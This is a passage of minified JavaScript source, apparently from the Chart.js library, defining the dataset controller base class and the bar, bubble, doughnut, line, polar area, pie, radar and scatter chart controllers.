this._cachedMeta._parsed[t]}getDataElement(t){return this._cachedMeta.data[t]}applyStack(t,e,i){const s=this.chart,n=this._cachedMeta,o=e[t.axis];return Di({keys:Pi(s,!0),values:e._stacks[t.axis]._visualValues},o,n.index,{mode:i})}updateRangeFromParsed(t,e,i,s){const n=i[e.axis];let o=null===n?NaN:n;const a=s&&i._stacks[e.axis];s&&a&&(s.values=a,o=Di(s,n,this._cachedMeta.index)),t.min=Math.min(t.min,o),t.max=Math.max(t.max,o)}getMinMax(t,e){const i=this._cachedMeta,s=i._parsed,n=i._sorted&&t===i.iScale,o=s.length,a=this._getOtherScale(t),r=((t,e,i)=>t&&!e.hidden&&e._stacked&&{keys:Pi(i,!0),values:null})(e,i,this.chart),l={min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY},{min:h,max:c}=function(t){const{min:e,max:i,minDefined:s,maxDefined:n}=t.getUserBounds();return{min:s?e:Number.NEGATIVE_INFINITY,max:n?i:Number.POSITIVE_INFINITY}}(a);let d,u;function f(){u=s[d];const e=u[a.axis];return!F(u[t.axis])||h>e||c<e}for(d=0;d<o&&(f()||(this.updateRangeFromParsed(l,t,u,r),!n));++d);if(n)for(d=o-1;d>=0;--d)if(!f()){this.updateRangeFromParsed(l,t,u,r);break}return l}getAllParsedValues(t){const e=this._cachedMeta._parsed,i=[];let s,n,o;for(s=0,n=e.length;s<n;++s)o=e[s][t.axis],F(o)&&i.push(o);return i}getMaxOverflow(){return!1}getLabelAndValue(t){const e=this._cachedMeta,i=e.iScale,s=e.vScale,n=this.getParsed(t);return{label:i?""+i.getLabelForValue(n[i.axis]):"",value:s?""+s.getLabelForValue(n[s.axis]):""}}_update(t){const e=this._cachedMeta;this.update(t||"default"),e._clip=function(t){let e,i,s,n;return z(t)?(e=t.top,i=t.right,s=t.bottom,n=t.left):e=i=s=n=t,{top:e,right:i,bottom:s,left:n,disabled:!1===t}}(B(this.options.clip,function(t,e,i){if(!1===i)return!1;const s=Si(t,i),n=Si(e,i);return{top:n.end,right:s.end,bottom:n.start,left:s.start}}(e.xScale,e.yScale,this.getMaxOverflow())))}update(t){}draw(){const t=this._ctx,e=this.chart,i=this._cachedMeta,s=i.data||[],n=e.chartArea,o=[],a=this._drawStart||0,r=this._drawCount||s.length-a,l=this.options.drawActiveElementsOnTop;let h;for(i.dataset&&i.dataset.draw(t,n,a,r),h=a;h<a+r;++h){const e=s[h];e.hidden||(e.active&&l?o.push(e):e.draw(t,n))}for(h=0;h<o.length;++h)o[h].draw(t,n)}getStyle(t,e){const i=e?"active":"default";return void 0===t&&this._cachedMeta.dataset?this.resolveDatasetElementOptions(i):this.resolveDataElementOptions(t||0,i)}getContext(t,e,i){const s=this.getDataset();let n;if(t>=0&&t<this._cachedMeta.data.length){const e=this._cachedMeta.data[t];n=e.$context||(e.$context=function(t,e,i){return Ce(t,{active:!1,dataIndex:e,parsed:void 0,raw:void 0,element:i,index:e,mode:"default",type:"data"})}(this.getContext(),t,e)),n.parsed=this.getParsed(t),n.raw=s.data[t],n.index=n.dataIndex=t}else n=this.$context||(this.$context=function(t,e){return Ce(t,{active:!1,dataset:void 0,datasetIndex:e,index:e,mode:"default",type:"dataset"})}(this.chart.getContext(),this.index)),n.dataset=s,n.index=n.datasetIndex=this.index;return n.active=!!e,n.mode=i,n}resolveDatasetElementOptions(t){return this._resolveElementOptions(this.datasetElementType.id,t)}resolveDataElementOptions(t,e){return this._resolveElementOptions(this.dataElementType.id,e,t)}_resolveElementOptions(t,e="default",i){const s="active"===e,n=this._cachedDataOpts,o=t+"-"+e,a=n[o],r=this.enableOptionSharing&&Q(i);if(a)return Ii(a,r);const l=this.chart.config,h=l.datasetElementScopeKeys(this._type,t),c=s?[`${t}Hover`,"hover",t,""]:[t,""],d=l.getOptionScopes(this.getDataset(),h),u=Object.keys(ie.elements[t]),f=l.resolveNamedOptions(d,u,(()=>this.getContext(i,s,e)),c);return f.$shared&&(f.$shared=r,n[o]=Object.freeze(Ii(f,r))),f}_resolveAnimations(t,e,i){const s=this.chart,n=this._cachedDataOpts,o=`animation-${e}`,a=n[o];if(a)return a;let r;if(!1!==s.options.animation){const s=this.chart.config,n=s.datasetAnimationScopeKeys(this._type,e),o=s.getOptionScopes(this.getDataset(),n);r=s.createResolver(o,this.getContext(t,i,e))}const l=new ki(s,r&&r.animations);return r&&r._cacheable&&(n[o]=Object.freeze(l)),l}getSharedOptions(t){if(t.$shared)return this._sharedOptions||(this._sharedOptions=Object.assign({},t))}includeOptions(t,e){return!e||Ri(t)||this.chart._animationsDisabled}_getSharedOptions(t,e){const i=this.resolveDataElementOptions(t,e),s=this._sharedOptions,n=this.getSharedOptions(i),o=this.includeOptions(e,n)||n!==s;return this.updateSharedOptions(n,e,i),{sharedOptions:n,includeOptions:o}}updateElement(t,e,i,s){Ri(s)?Object.assign(t,i):this._resolveAnimations(e,s).update(t,i)}updateSharedOptions(t,e,i){t&&!Ri(e)&&this._resolveAnimations(void 0,e).update(t,i)}_setStyle(t,e,i,s){t.active=s;const n=this.getStyle(e,s);this._resolveAnimations(e,i,s).update(t,{options:!s&&this.getSharedOptions(n)||n})}removeHoverStyle(t,e,i){this._setStyle(t,i,"active",!1)}setHoverStyle(t,e,i){this._setStyle(t,i,"active",!0)}_removeDatasetHoverStyle(){const t=this._cachedMeta.dataset;t&&this._setStyle(t,void 0,"active",!1)}_setDatasetHoverStyle(){const t=this._cachedMeta.dataset;t&&this._setStyle(t,void 0,"active",!0)}_resyncElements(t){const e=this._data,i=this._cachedMeta.data;for(const[t,e,i]of this._syncList)this[t](e,i);this._syncList=[];const s=i.length,n=e.length,o=Math.min(n,s);o&&this.parse(0,o),n>s?this._insertElements(s,n-s,t):n<s&&this._removeElements(n,s-n)}_insertElements(t,e,i=!0){const s=this._cachedMeta,n=s.data,o=t+e;let a;const r=t=>{for(t.length+=e,a=t.length-1;a>=o;a--)t[a]=t[a-e]};for(r(n),a=t;a<o;++a)n[a]=new this.dataElementType;this._parsing&&r(s._parsed),this.parse(t,e),i&&this.updateElements(n,t,e,"reset")}updateElements(t,e,i,s){}_removeElements(t,e){const i=this._cachedMeta;if(this._parsing){const s=i._parsed.splice(t,e);i._stacked&&Ei(i,s)}i.data.splice(t,e)}_sync(t){if(this._parsing)this._syncList.push(t);else{const[e,i,s]=t;this[e](i,s)}this.chart._dataChanges.push([this.index,...t])}_onDataPush(){const t=arguments.length;this._sync(["_insertElements",this.getDataset().data.length-t,t])}_onDataPop(){this._sync(["_removeElements",this._cachedMeta.data.length-1,1])}_onDataShift(){this._sync(["_removeElements",0,1])}_onDataSplice(t,e){e&&this._sync(["_removeElements",t,e]);const i=arguments.length-2;i&&this._sync(["_insertElements",t,i])}_onDataUnshift(){this._sync(["_insertElements",0,arguments.length])}}function Fi(t){const e=t.iScale,i=function(t,e){if(!t._cache.$bar){const i=t.getMatchingVisibleMetas(e);let s=[];for(let e=0,n=i.length;e<n;e++)s=s.concat(i[e].controller.getAllParsedValues(t));t._cache.$bar=Tt(s.sort(((t,e)=>t-e)))}return t._cache.$bar}(e,t.type);let s,n,o,a,r=e._length;const l=()=>{32767!==o&&-32768!==o&&(Q(a)&&(r=Math.min(r,Math.abs(o-a)||r)),a=o)};for(s=0,n=i.length;s<n;++s)o=e.getPixelForValue(i[s]),l();for(a=void 0,s=0,n=e.ticks.length;s<n;++s)o=e.getPixelForTick(s),l();return r}function Vi(t,e,i,s){return I(t)?function(t,e,i,s){const n=i.parse(t[0],s),o=i.parse(t[1],s),a=Math.min(n,o),r=Math.max(n,o);let l=a,h=r;Math.abs(a)>Math.abs(r)&&(l=r,h=a),e[i.axis]=h,e._custom={barStart:l,barEnd:h,start:n,end:o,min:a,max:r}}(t,e,i,s):e[i.axis]=i.parse(t,s),e}function Bi(t,e,i,s){const n=t.iScale,o=t.vScale,a=n.getLabels(),r=n===o,l=[];let h,c,d,u;for(h=i,c=i+s;h<c;++h)u=e[h],d={},d[n.axis]=r||n.parse(a[h],h),l.push(Vi(u,d,o,h));return l}function Wi(t){return t&&void 0!==t.barStart&&void 0!==t.barEnd}function Ni(t,e,i,s){let n=e.borderSkipped;const o={};if(!n)return void(t.borderSkipped=o);if(!0===n)return void(t.borderSkipped={top:!0,right:!0,bottom:!0,left:!0});const{start:a,end:r,reverse:l,top:h,bottom:c}=function(t){let e,i,s,n,o;return t.horizontal?(e=t.base>t.x,i="left",s="right"):(e=t.base<t.y,i="bottom",s="top"),e?(n="end",o="start"):(n="start",o="end"),{start:i,end:s,reverse:e,top:n,bottom:o}}(t);"middle"===n&&i&&(t.enableBorderRadius=!0,(i._top||0)===s?n=h:(i._bottom||0)===s?n=c:(o[Hi(c,a,r,l)]=!0,n=h)),o[Hi(n,a,r,l)]=!0,t.borderSkipped=o}function Hi(t,e,i,s){var n,o,a;return s?(a=i,t=ji(t=(n=t)===(o=e)?a:n===a?o:n,i,e)):t=ji(t,e,i),t}function ji(t,e,i){return"start"===t?e:"end"===t?i:t}function $i(t,{inflateAmount:e},i){t.inflateAmount="auto"===e?1===i?.33:0:e}class Yi extends zi{static id="bar";static defaults={datasetElementType:!1,dataElementType:"bar",categoryPercentage:.8,barPercentage:.9,grouped:!0,animations:{numbers:{type:"number",properties:["x","y","base","width","height"]}}};static overrides={scales:{_index_:{type:"category",offset:!0,grid:{offset:!0}},_value_:{type:"linear",beginAtZero:!0}}};parsePrimitiveData(t,e,i,s){return Bi(t,e,i,s)}parseArrayData(t,e,i,s){return Bi(t,e,i,s)}parseObjectData(t,e,i,s){const{iScale:n,vScale:o}=t,{xAxisKey:a="x",yAxisKey:r="y"}=this._parsing,l="x"===n.axis?a:r,h="x"===o.axis?a:r,c=[];let d,u,f,g;for(d=i,u=i+s;d<u;++d)g=e[d],f={},f[n.axis]=n.parse(Z(g,l),d),c.push(Vi(Z(g,h),f,o,d));return c}updateRangeFromParsed(t,e,i,s){super.updateRangeFromParsed(t,e,i,s);const n=i._custom;n&&e===this._cachedMeta.vScale&&(t.min=Math.min(t.min,n.min),t.max=Math.max(t.max,n.max))}getMaxOverflow(){return 0}getLabelAndValue(t){const e=this._cachedMeta,{iScale:i,vScale:s}=e,n=this.getParsed(t),o=n._custom,a=Wi(o)?"["+o.start+", "+o.end+"]":""+s.getLabelForValue(n[s.axis]);return{label:""+i.getLabelForValue(n[i.axis]),value:a}}initialize(){this.enableOptionSharing=!0,super.initialize(),this._cachedMeta.stack=this.getDataset().stack}update(t){const e=this._cachedMeta;this.updateElements(e.data,0,e.data.length,t)}updateElements(t,e,i,s){const n="reset"===s,{index:o,_cachedMeta:{vScale:a}}=this,r=a.getBasePixel(),l=a.isHorizontal(),h=this._getRuler(),{sharedOptions:c,includeOptions:d}=this._getSharedOptions(e,s);for(let u=e;u<e+i;u++){const e=this.getParsed(u),i=n||R(e[a.axis])?{base:r,head:r}:this._calculateBarValuePixels(u),f=this._calculateBarIndexPixels(u,h),g=(e._stacks||{})[a.axis],p={horizontal:l,base:i.base,enableBorderRadius:!g||Wi(e._custom)||o===g._top||o===g._bottom,x:l?i.head:f.center,y:l?f.center:i.head,height:l?f.size:Math.abs(i.size),width:l?Math.abs(i.size):f.size};d&&(p.options=c||this.resolveDataElementOptions(u,t[u].active?"active":s));const m=p.options||t[u].options;Ni(p,m,g,o),$i(p,m,h.ratio),this.updateElement(t[u],u,p,s)}}_getStacks(t,e){const{iScale:i}=this._cachedMeta,s=i.getMatchingVisibleMetas(this._type).filter((t=>t.controller.options.grouped)),n=i.options.stacked,o=[],a=t=>{const i=t.controller.getParsed(e),s=i&&i[t.vScale.axis];if(R(s)||isNaN(s))return!0};for(const i of s)if((void 0===e||!a(i))&&((!1===n||-1===o.indexOf(i.stack)||void 0===n&&void 0===i.stack)&&o.push(i.stack),i.index===t))break;return o.length||o.push(void 0),o}_getStackCount(t){return this._getStacks(void 0,t).length}_getStackIndex(t,e,i){const s=this._getStacks(t,i),n=void 0!==e?s.indexOf(e):-1;return-1===n?s.length-1:n}_getRuler(){const t=this.options,e=this._cachedMeta,i=e.iScale,s=[];let n,o;for(n=0,o=e.data.length;n<o;++n)s.push(i.getPixelForValue(this.getParsed(n)[i.axis],n));const a=t.barThickness;return{min:a||Fi(e),pixels:s,start:i._startPixel,end:i._endPixel,stackCount:this._getStackCount(),scale:i,grouped:t.grouped,ratio:a?1:t.categoryPercentage*t.barPercentage}}_calculateBarValuePixels(t){const{_cachedMeta:{vScale:e,_stacked:i,index:s},options:{base:n,minBarLength:o}}=this,a=n||0,r=this.getParsed(t),l=r._custom,h=Wi(l);let c,d,u=r[e.axis],f=0,g=i?this.applyStack(e,r,i):u;g!==u&&(f=g-u,g=u),h&&(u=l.barStart,g=l.barEnd-l.barStart,0!==u&&dt(u)!==dt(l.barEnd)&&(f=0),f+=u);const p=R(n)||h?f:n;let m=e.getPixelForValue(p);if(c=this.chart.getDataVisibility(t)?e.getPixelForValue(f+g):m,d=c-m,Math.abs(d)<o){d=function(t,e,i){return 0!==t?dt(t):(e.isHorizontal()?1:-1)*(e.min>=i?1:-1)}(d,e,a)*o,u===a&&(m-=d/2);const t=e.getPixelForDecimal(0),n=e.getPixelForDecimal(1),l=Math.min(t,n),f=Math.max(t,n);m=Math.max(Math.min(m,f),l),c=m+d,i&&!h&&(r._stacks[e.axis]._visualValues[s]=e.getValueForPixel(c)-e.getValueForPixel(m))}if(m===e.getPixelForValue(a)){const t=dt(d)*e.getLineWidthForValue(a)/2;m+=t,d-=t}return{size:d,base:m,head:c,center:c+d/2}}_calculateBarIndexPixels(t,e){const i=e.scale,s=this.options,n=s.skipNull,o=B(s.maxBarThickness,1/0);let a,r;if(e.grouped){const i=n?this._getStackCount(t):e.stackCount,l="flex"===s.barThickness?function(t,e,i,s){const n=e.pixels,o=n[t];let a=t>0?n[t-1]:null,r=t<n.length-1?n[t+1]:null;const l=i.categoryPercentage;null===a&&(a=o-(null===r?e.end-e.start:r-o)),null===r&&(r=o+o-a);const h=o-(o-Math.min(a,r))/2*l;return{chunk:Math.abs(r-a)/2*l/s,ratio:i.barPercentage,start:h}}(t,e,s,i):function(t,e,i,s){const n=i.barThickness;let o,a;return R(n)?(o=e.min*i.categoryPercentage,a=i.barPercentage):(o=n*s,a=1),{chunk:o/s,ratio:a,start:e.pixels[t]-o/2}}(t,e,s,i),h=this._getStackIndex(this.index,this._cachedMeta.stack,n?t:void 0);a=l.start+l.chunk*h+l.chunk/2,r=Math.min(o,l.chunk*l.ratio)}else a=i.getPixelForValue(this.getParsed(t)[i.axis],t),r=Math.min(o,e.min*e.ratio);return{base:a-r/2,head:a+r/2,center:a,size:r}}draw(){const t=this._cachedMeta,e=t.vScale,i=t.data,s=i.length;let n=0;for(;n<s;++n)null!==this.getParsed(n)[e.axis]&&i[n].draw(this._ctx)}}class Ui extends zi{static id="bubble";static defaults={datasetElementType:!1,dataElementType:"point",animations:{numbers:{type:"number",properties:["x","y","borderWidth","radius"]}}};static overrides={scales:{x:{type:"linear"},y:{type:"linear"}}};initialize(){this.enableOptionSharing=!0,super.initialize()}parsePrimitiveData(t,e,i,s){const n=super.parsePrimitiveData(t,e,i,s);for(let t=0;t<n.length;t++)n[t]._custom=this.resolveDataElementOptions(t+i).radius;return n}parseArrayData(t,e,i,s){const n=super.parseArrayData(t,e,i,s);for(let t=0;t<n.length;t++){const s=e[i+t];n[t]._custom=B(s[2],this.resolveDataElementOptions(t+i).radius)}return n}parseObjectData(t,e,i,s){const n=super.parseObjectData(t,e,i,s);for(let t=0;t<n.length;t++){const s=e[i+t];n[t]._custom=B(s&&s.r&&+s.r,this.resolveDataElementOptions(t+i).radius)}return n}getMaxOverflow(){const t=this._cachedMeta.data;let e=0;for(let i=t.length-1;i>=0;--i)e=Math.max(e,t[i].size(this.resolveDataElementOptions(i))/2);return e>0&&e}getLabelAndValue(t){const e=this._cachedMeta,i=this.chart.data.labels||[],{xScale:s,yScale:n}=e,o=this.getParsed(t),a=s.getLabelForValue(o.x),r=n.getLabelForValue(o.y),l=o._custom;return{label:i[t]||"",value:"("+a+", "+r+(l?", "+l:"")+")"}}update(t){const e=this._cachedMeta.data;this.updateElements(e,0,e.length,t)}updateElements(t,e,i,s){const n="reset"===s,{iScale:o,vScale:a}=this._cachedMeta,{sharedOptions:r,includeOptions:l}=this._getSharedOptions(e,s),h=o.axis,c=a.axis;for(let d=e;d<e+i;d++){const e=t[d],i=!n&&this.getParsed(d),u={},f=u[h]=n?o.getPixelForDecimal(.5):o.getPixelForValue(i[h]),g=u[c]=n?a.getBasePixel():a.getPixelForValue(i[c]);u.skip=isNaN(f)||isNaN(g),l&&(u.options=r||this.resolveDataElementOptions(d,e.active?"active":s),n&&(u.options.radius=0)),this.updateElement(e,d,u,s)}}resolveDataElementOptions(t,e){const i=this.getParsed(t);let s=super.resolveDataElementOptions(t,e);s.$shared&&(s=Object.assign({},s,{$shared:!1}));const n=s.radius;return"active"!==e&&(s.radius=0),s.radius+=B(i&&i._custom,n),s}}class Xi extends zi{static id="doughnut";static defaults={datasetElementType:!1,dataElementType:"arc",animation:{animateRotate:!0,animateScale:!1},animations:{numbers:{type:"number",properties:["circumference","endAngle","innerRadius","outerRadius","startAngle","x","y","offset","borderWidth","spacing"]}},cutout:"50%",rotation:0,circumference:360,radius:"100%",spacing:0,indexAxis:"r"};static descriptors={_scriptable:t=>"spacing"!==t,_indexable:t=>"spacing"!==t};static overrides={aspectRatio:1,plugins:{legend:{labels:{generateLabels(t){const e=t.data;if(e.labels.length&&e.datasets.length){const{labels:{pointStyle:i,color:s}}=t.legend.options;return e.labels.map(((e,n)=>{const o=t.getDatasetMeta(0).controller.getStyle(n);return{text:e,fillStyle:o.backgroundColor,strokeStyle:o.borderColor,fontColor:s,lineWidth:o.borderWidth,pointStyle:i,hidden:!t.getDataVisibility(n),index:n}}))}return[]}},onClick(t,e,i){i.chart.toggleDataVisibility(e.index),i.chart.update()}}}};constructor(t,e){super(t,e),this.enableOptionSharing=!0,this.innerRadius=void 0,this.outerRadius=void 0,this.offsetX=void 0,this.offsetY=void 0}linkScales(){}parse(t,e){const i=this.getDataset().data,s=this._cachedMeta;if(!1===this._parsing)s._parsed=i;else{let n,o,a=t=>+i[t];if(z(i[t])){const{key:t="value"}=this._parsing;a=e=>+Z(i[e],t)}for(n=t,o=t+e;n<o;++n)s._parsed[n]=a(n)}}_getRotation(){return mt(this.options.rotation-90)}_getCircumference(){return mt(this.options.circumference)}_getRotationExtents(){let t=st,e=-st;for(let i=0;i<this.chart.data.datasets.length;++i)if(this.chart.isDatasetVisible(i)&&this.chart.getDatasetMeta(i).type===this._type){const s=this.chart.getDatasetMeta(i).controller,n=s._getRotation(),o=s._getCircumference();t=Math.min(t,n),e=Math.max(e,n+o)}return{rotation:t,circumference:e-t}}update(t){const e=this.chart,{chartArea:i}=e,s=this._cachedMeta,n=s.data,o=this.getMaxBorderWidth()+this.getMaxOffset(n)+this.options.spacing,a=Math.max((Math.min(i.width,i.height)-o)/2,0),r=Math.min((h=a,"string"==typeof(l=this.options.cutout)&&l.endsWith("%")?parseFloat(l)/100:+l/h),1);var l,h;const c=this._getRingWeight(this.index),{circumference:d,rotation:u}=this._getRotationExtents(),{ratioX:f,ratioY:g,offsetX:p,offsetY:m}=function(t,e,i){let s=1,n=1,o=0,a=0;if(e<st){const r=t,l=r+e,h=Math.cos(r),c=Math.sin(r),d=Math.cos(l),u=Math.sin(l),f=(t,e,s)=>wt(t,r,l,!0)?1:Math.max(e,e*i,s,s*i),g=(t,e,s)=>wt(t,r,l,!0)?-1:Math.min(e,e*i,s,s*i),p=f(0,h,d),m=f(rt,c,u),b=g(it,h,d),x=g(it+rt,c,u);s=(p-b)/2,n=(m-x)/2,o=-(p+b)/2,a=-(m+x)/2}return{ratioX:s,ratioY:n,offsetX:o,offsetY:a}}(u,d,r),b=(i.width-o)/f,x=(i.height-o)/g,_=Math.max(Math.min(b,x)/2,0),y=W(this.options.radius,_),v=(y-Math.max(y*r,0))/this._getVisibleDatasetWeightTotal();this.offsetX=p*y,this.offsetY=m*y,s.total=this.calculateTotal(),this.outerRadius=y-v*this._getRingWeightOffset(this.index),this.innerRadius=Math.max(this.outerRadius-v*c,0),this.updateElements(n,0,n.length,t)}_circumference(t,e){const i=this.options,s=this._cachedMeta,n=this._getCircumference();return e&&i.animation.animateRotate||!this.chart.getDataVisibility(t)||null===s._parsed[t]||s.data[t].hidden?0:this.calculateCircumference(s._parsed[t]*n/st)}updateElements(t,e,i,s){const n="reset"===s,o=this.chart,a=o.chartArea,r=o.options.animation,l=(a.left+a.right)/2,h=(a.top+a.bottom)/2,c=n&&r.animateScale,d=c?0:this.innerRadius,u=c?0:this.outerRadius,{sharedOptions:f,includeOptions:g}=this._getSharedOptions(e,s);let p,m=this._getRotation();for(p=0;p<e;++p)m+=this._circumference(p,n);for(p=e;p<e+i;++p){const e=this._circumference(p,n),i=t[p],o={x:l+this.offsetX,y:h+this.offsetY,startAngle:m,endAngle:m+e,circumference:e,outerRadius:u,innerRadius:d};g&&(o.options=f||this.resolveDataElementOptions(p,i.active?"active":s)),m+=e,this.updateElement(i,p,o,s)}}calculateTotal(){const t=this._cachedMeta,e=t.data;let i,s=0;for(i=0;i<e.length;i++){const n=t._parsed[i];null===n||isNaN(n)||!this.chart.getDataVisibility(i)||e[i].hidden||(s+=Math.abs(n))}return s}calculateCircumference(t){const e=this._cachedMeta.total;return e>0&&!isNaN(t)?st*(Math.abs(t)/e):0}getLabelAndValue(t){const e=this._cachedMeta,i=this.chart,s=i.data.labels||[],n=qt(e._parsed[t],i.options.locale);return{label:s[t]||"",value:n}}getMaxBorderWidth(t){let e=0;const i=this.chart;let s,n,o,a,r;if(!t)for(s=0,n=i.data.datasets.length;s<n;++s)if(i.isDatasetVisible(s)){o=i.getDatasetMeta(s),t=o.data,a=o.controller;break}if(!t)return 0;for(s=0,n=t.length;s<n;++s)r=a.resolveDataElementOptions(s),"inner"!==r.borderAlign&&(e=Math.max(e,r.borderWidth||0,r.hoverBorderWidth||0));return e}getMaxOffset(t){let e=0;for(let i=0,s=t.length;i<s;++i){const t=this.resolveDataElementOptions(i);e=Math.max(e,t.offset||0,t.hoverOffset||0)}return e}_getRingWeightOffset(t){let e=0;for(let i=0;i<t;++i)this.chart.isDatasetVisible(i)&&(e+=this._getRingWeight(i));return e}_getRingWeight(t){return Math.max(B(this.chart.data.datasets[t].weight,1),0)}_getVisibleDatasetWeightTotal(){return this._getRingWeightOffset(this.chart.data.datasets.length)||1}}class qi extends zi{static id="line";static defaults={datasetElementType:"line",dataElementType:"point",showLine:!0,spanGaps:!1};static overrides={scales:{_index_:{type:"category"},_value_:{type:"linear"}}};initialize(){this.enableOptionSharing=!0,this.supportsDecimation=!0,super.initialize()}update(t){const e=this._cachedMeta,{dataset:i,data:s=[],_dataset:n}=e,o=this.chart._animationsDisabled;let{start:a,count:r}=zt(e,s,o);this._drawStart=a,this._drawCount=r,Ft(e)&&(a=0,r=s.length),i._chart=this.chart,i._datasetIndex=this.index,i._decimated=!!n._decimated,i.points=s;const l=this.resolveDatasetElementOptions(t);this.options.showLine||(l.borderWidth=0),l.segment=this.options.segment,this.updateElement(i,void 0,{animated:!o,options:l},t),this.updateElements(s,a,r,t)}updateElements(t,e,i,s){const n="reset"===s,{iScale:o,vScale:a,_stacked:r,_dataset:l}=this._cachedMeta,{sharedOptions:h,includeOptions:c}=this._getSharedOptions(e,s),d=o.axis,u=a.axis,{spanGaps:f,segment:g}=this.options,p=gt(f)?f:Number.POSITIVE_INFINITY,m=this.chart._animationsDisabled||n||"none"===s,b=e+i,x=t.length;let _=e>0&&this.getParsed(e-1);for(let i=0;i<x;++i){const f=t[i],x=m?f:{};if(i<e||i>=b){x.skip=!0;continue}const y=this.getParsed(i),v=R(y[u]),M=x[d]=o.getPixelForValue(y[d],i),w=x[u]=n||v?a.getBasePixel():a.getPixelForValue(r?this.applyStack(a,y,r):y[u],i);x.skip=isNaN(M)||isNaN(w)||v,x.stop=i>0&&Math.abs(y[d]-_[d])>p,g&&(x.parsed=y,x.raw=l.data[i]),c&&(x.options=h||this.resolveDataElementOptions(i,f.active?"active":s)),m||this.updateElement(f,i,x,s),_=y}}getMaxOverflow(){const t=this._cachedMeta,e=t.dataset,i=e.options&&e.options.borderWidth||0,s=t.data||[];if(!s.length)return i;const n=s[0].size(this.resolveDataElementOptions(0)),o=s[s.length-1].size(this.resolveDataElementOptions(s.length-1));return Math.max(i,n,o)/2}draw(){const t=this._cachedMeta;t.dataset.updateControlPoints(this.chart.chartArea,t.iScale.axis),super.draw()}}class Ki extends zi{static id="polarArea";static defaults={dataElementType:"arc",animation:{animateRotate:!0,animateScale:!0},animations:{numbers:{type:"number",properties:["x","y","startAngle","endAngle","innerRadius","outerRadius"]}},indexAxis:"r",startAngle:0};static overrides={aspectRatio:1,plugins:{legend:{labels:{generateLabels(t){const e=t.data;if(e.labels.length&&e.datasets.length){const{labels:{pointStyle:i,color:s}}=t.legend.options;return e.labels.map(((e,n)=>{const o=t.getDatasetMeta(0).controller.getStyle(n);return{text:e,fillStyle:o.backgroundColor,strokeStyle:o.borderColor,fontColor:s,lineWidth:o.borderWidth,pointStyle:i,hidden:!t.getDataVisibility(n),index:n}}))}return[]}},onClick(t,e,i){i.chart.toggleDataVisibility(e.index),i.chart.update()}}},scales:{r:{type:"radialLinear",angleLines:{display:!1},beginAtZero:!0,grid:{circular:!0},pointLabels:{display:!1},startAngle:0}}};constructor(t,e){super(t,e),this.innerRadius=void 0,this.outerRadius=void 0}getLabelAndValue(t){const e=this._cachedMeta,i=this.chart,s=i.data.labels||[],n=qt(e._parsed[t].r,i.options.locale);return{label:s[t]||"",value:n}}parseObjectData(t,e,i,s){return He.bind(this)(t,e,i,s)}update(t){const e=this._cachedMeta.data;this._updateRadius(),this.updateElements(e,0,e.length,t)}getMinMax(){const t=this._cachedMeta,e={min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY};return t.data.forEach(((t,i)=>{const s=this.getParsed(i).r;!isNaN(s)&&this.chart.getDataVisibility(i)&&(s<e.min&&(e.min=s),s>e.max&&(e.max=s))})),e}_updateRadius(){const t=this.chart,e=t.chartArea,i=t.options,s=Math.min(e.right-e.left,e.bottom-e.top),n=Math.max(s/2,0),o=(n-Math.max(i.cutoutPercentage?n/100*i.cutoutPercentage:1,0))/t.getVisibleDatasetCount();this.outerRadius=n-o*this.index,this.innerRadius=this.outerRadius-o}updateElements(t,e,i,s){const n="reset"===s,o=this.chart,a=o.options.animation,r=this._cachedMeta.rScale,l=r.xCenter,h=r.yCenter,c=r.getIndexAngle(0)-.5*it;let d,u=c;const f=360/this.countVisibleElements();for(d=0;d<e;++d)u+=this._computeAngle(d,s,f);for(d=e;d<e+i;d++){const e=t[d];let i=u,g=u+this._computeAngle(d,s,f),p=o.getDataVisibility(d)?r.getDistanceFromCenterForValue(this.getParsed(d).r):0;u=g,n&&(a.animateScale&&(p=0),a.animateRotate&&(i=g=c));const m={x:l,y:h,innerRadius:0,outerRadius:p,startAngle:i,endAngle:g,options:this.resolveDataElementOptions(d,e.active?"active":s)};this.updateElement(e,d,m,s)}}countVisibleElements(){const t=this._cachedMeta;let e=0;return t.data.forEach(((t,i)=>{!isNaN(this.getParsed(i).r)&&this.chart.getDataVisibility(i)&&e++})),e}_computeAngle(t,e,i){return this.chart.getDataVisibility(t)?mt(this.resolveDataElementOptions(t,e).angle||i):0}}class Gi extends Xi{static id="pie";static defaults={cutout:0,rotation:0,circumference:360,radius:"100%"}}class Zi extends zi{static id="radar";static defaults={datasetElementType:"line",dataElementType:"point",indexAxis:"r",showLine:!0,elements:{line:{fill:"start"}}};static overrides={aspectRatio:1,scales:{r:{type:"radialLinear"}}};getLabelAndValue(t){const e=this._cachedMeta.vScale,i=this.getParsed(t);return{label:e.getLabels()[t],value:""+e.getLabelForValue(i[e.axis])}}parseObjectData(t,e,i,s){return He.bind(this)(t,e,i,s)}update(t){const e=this._cachedMeta,i=e.dataset,s=e.data||[],n=e.iScale.getLabels();if(i.points=s,"resize"!==t){const e=this.resolveDatasetElementOptions(t);this.options.showLine||(e.borderWidth=0);const o={_loop:!0,_fullLoop:n.length===s.length,options:e};this.updateElement(i,void 0,o,t)}this.updateElements(s,0,s.length,t)}updateElements(t,e,i,s){const n=this._cachedMeta.rScale,o="reset"===s;for(let a=e;a<e+i;a++){const e=t[a],i=this.resolveDataElementOptions(a,e.active?"active":s),r=n.getPointPositionForValue(a,this.getParsed(a).r),l=o?n.xCenter:r.x,h=o?n.yCenter:r.y,c={x:l,y:h,angle:r.angle,skip:isNaN(l)||isNaN(h),options:i};this.updateElement(e,a,c,s)}}}class Ji extends zi{static id="scatter";static defaults={datasetElementType:!1,dataElementType:"point",showLine:!1,fill:!1};static overrides={interaction:{mode:"point"},scales:{x:{type:"linear"},y:{type:"linear"}}};getLabelAndValue(t){const e=this._cachedMeta,i=this.chart.data.labels||[],{xScale:s,yScale:n}=e,o=this.getParsed(t),a=s.getLabelForValue(o.x),r=n.getLabelForValue(o.y);return{label:i[t]||"",value:"("+a+", "+r+")"}}update(t){const e=this._cachedMeta,{data:i=[]}=e,s=this.chart._animationsDisabled;let{start:n,count:o}=zt(e,i,s);if(this._drawStart=n,this._drawCount=o,Ft(e)&&(n=0,o=i.length),this.options.showLine){const{dataset:n,_dataset:o}=e;n._chart=this.chart,n._datasetIndex=this.index,n._decimated=!!o._decimated,n.points=i;const a=this.resolveDatasetElementOptions(t);a.segment=this.options.segment,this.updateElement(n,void 